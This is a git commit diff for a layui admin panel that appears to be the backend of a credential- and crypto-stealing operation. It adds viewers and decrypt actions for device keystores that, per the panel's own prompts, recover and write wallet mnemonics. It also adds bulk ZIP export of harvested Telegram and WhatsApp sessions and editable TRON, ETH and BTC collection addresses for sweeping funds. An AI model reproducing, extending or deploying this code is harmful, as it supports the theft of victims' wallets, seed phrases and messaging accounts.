fix: keystore

This commit is contained in:
hashbro
2026-09-20 06:15:26 +08:00
parent 2625707aed
commit 2a41a29310
29 changed files with 1972 additions and 66 deletions
+27 -1
View File
@@ -629,9 +629,10 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
{ field: 'item_count', title: '条目', width: 70 },
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
{ title: '操作', width: 180, align: 'center', templet: function (d) {
{ title: '操作', width: 240, align: 'center', templet: function (d) {
var html = '';
if (d.items_url) html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>';
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>';
return html || '—';
} }
@@ -750,6 +751,31 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
layer.msg('加载失败');
});
});
// Plaintext detail viewer (sensitive fields masked)
table.on('tool(LAY-device-tab-list)', function (obj) {
if (obj.event !== 'plaintext' || !obj.data.detail_api_url) return;
layer.load(1);
$.getJSON(obj.data.detail_api_url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var detail = d.detail || {};
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:8px;">#' +
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') + '</div>' +
'<div style="color:#999;font-size:12px;margin-bottom:8px;padding:6px 10px;background:#fffbe6;border:1px solid #ffe58f;border-radius:3px;">' +
'敏感加密字段已打码,其余明文信息完整展示</div>' +
'<pre style="background:#f7f7f7;border:1px solid #e6e6e6;border-radius:3px;padding:12px;font-family:Menlo,Monaco,Consolas,monospace;font-size:12px;line-height:1.5;max-height:560px;overflow:auto;white-space:pre-wrap;word-break:break-all;">' +
esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
layer.open({ type: 1, title: '明文详情 #' + (d.id || ''), area: ['960px', '80%'], content: html });
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
});
}
if (tab === 'wallets') {
@@ -21,6 +21,28 @@
word-break: break-all;
font-family: Menlo, Monaco, Consolas, monospace;
}
.ks-detail-hint {
color: #999;
font-size: 12px;
margin-bottom: 8px;
padding: 6px 10px;
background: #fffbe6;
border: 1px solid #ffe58f;
border-radius: 3px;
}
.ks-detail-json {
background: #f7f7f7;
border: 1px solid #e6e6e6;
border-radius: 3px;
padding: 12px;
font-family: Menlo, Monaco, Consolas, monospace;
font-size: 12px;
line-height: 1.5;
max-height: 560px;
overflow: auto;
white-space: pre-wrap;
word-break: break-all;
}
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
@@ -64,6 +86,7 @@
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
<script type="text/html" id="LAY-ks-ops">
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
@{{# if(d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">查看明文</a>@{{# } }}
<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
</script>
@@ -131,6 +154,36 @@ layui.use(['table', 'form', 'layer'], function () {
});
};
// ── Plaintext detail viewer (sensitive fields masked) ──
window.CorunaKeystoreDetail = window.CorunaKeystoreDetail || function (url, title) {
layer.load(1);
$.getJSON(url, function (res) {
layer.closeAll('loading');
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '加载失败');
}
var d = res.data || {};
var detail = d.detail || {};
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
' · 来源 ' + esc(d.source || '未知') +
' · ' + esc(d.kind || '') +
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
'</div>';
html += '<div class="ks-detail-hint">敏感加密字段已打码,其余明文信息完整展示</div>';
html += '<pre class="ks-detail-json">' + esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
layer.open({
type: 1,
title: title || ('明文详情 #' + (d.id || '')),
area: ['960px', '80%'],
content: html,
scrollbar: true
});
}).fail(function () {
layer.closeAll('loading');
layer.msg('加载失败');
});
};
table.render({
elem: '#LAY-ks-list',
id: 'LAY-ks-list',
@@ -163,6 +216,10 @@ layui.use(['table', 'form', 'layer'], function () {
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
return;
}
if (obj.event === 'plaintext') {
window.CorunaKeystoreDetail(obj.data.detail_api_url, '明文详情 #' + obj.data.id);
return;
}
if (obj.event === 'decrypt') {
if (!obj.data.decrypt_url) return layer.msg('无法解密');
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
@@ -30,6 +30,9 @@
</div>
</form>
<div class="layui-card-body">
<div style="margin-bottom:10px;">
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出 ZIP</button>
</div>
<table id="LAY-session-list" lay-filter="LAY-session-list"></table>
<script type="text/html" id="LAY-session-ops">
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">参数</a>
@@ -97,6 +100,41 @@ layui.use(['table', 'form', 'layer'], function () {
return false;
});
// Bulk export: build a query string from the current search form and
// trigger a download via a hidden <a>. The server streams a ZIP from disk.
document.getElementById('LAY-session-export').addEventListener('click', function () {
var params = new URLSearchParams();
params.set('kind', isWhatsApp ? '2' : '1');
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
if (formEl) {
var fd = new FormData(formEl);
fd.forEach(function (v, k) { if (v) params.set(k, v); });
}
var url = @json(route($portal.'.sessions.export')) + '?' + params.toString();
var load = layer.load(1, { shade: 0.1 });
// Use fetch so we can detect JSON error responses (422) vs the ZIP blob.
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = (isWhatsApp ? 'ws' : 'tg') + '-sessions.zip';
document.body.appendChild(a);
a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) {
layer.close(load);
layer.msg(e.message || '导出失败');
});
});
table.on('tool(LAY-session-list)', function (obj) {
if (obj.event === 'payload') {
var url = obj.data.payload_url;
@@ -99,11 +99,22 @@
<div class="layui-form-item">
<label class="layui-form-label">归集地址</label>
<div class="layui-input-block">
<div class="layui-form-mid" style="padding-top:9px !important;line-height:1.8;">
<div>TRON:@if($form['transfer.to_address'])<code>{{ $form['transfer.to_address'] }}</code>@else<span>未配置</span>@endif</div>
<div>ETH:@if($form['transfer.to_address_eth'])<code>{{ $form['transfer.to_address_eth'] }}</code>@else<span>未配置</span>@endif</div>
<div>BTC:@if($form['transfer.to_address_btc'])<code>{{ $form['transfer.to_address_btc'] }}</code>@else<span>未配置</span>@endif</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">TRON</span>
<input type="text" name="transfer_to_address" class="layui-input" autocomplete="off"
value="{{ $form['transfer.to_address'] }}" placeholder="TRON 归集地址" style="flex:1;max-width:560px;">
</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">ETH</span>
<input type="text" name="transfer_to_address_eth" class="layui-input" autocomplete="off"
value="{{ $form['transfer.to_address_eth'] }}" placeholder="ETH 归集地址" style="flex:1;max-width:560px;">
</div>
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
<span class="layui-form-mid" style="width:50px;">BTC</span>
<input type="text" name="transfer_to_address_btc" class="layui-input" autocomplete="off"
value="{{ $form['transfer.to_address_btc'] }}" placeholder="BTC 归集地址" style="flex:1;max-width:560px;">
</div>
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BTC;留空表示未配置</div>
</div>
</div>
+7 -2
View File
@@ -49,8 +49,13 @@
</div>
<div class="layui-inline">
<label class="layui-form-label">国家</label>
<div class="layui-input-block">
<input type="text" name="country" class="layui-input" placeholder="如 CN" autocomplete="off">
<div class="layui-input-block" style="min-width: 180px;">
<select name="country" lay-search>
<option value="">全部</option>
@foreach ($countries as $code => $name)
<option value="{{ $code }}">{{ $name }} ({{ $code }})</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline">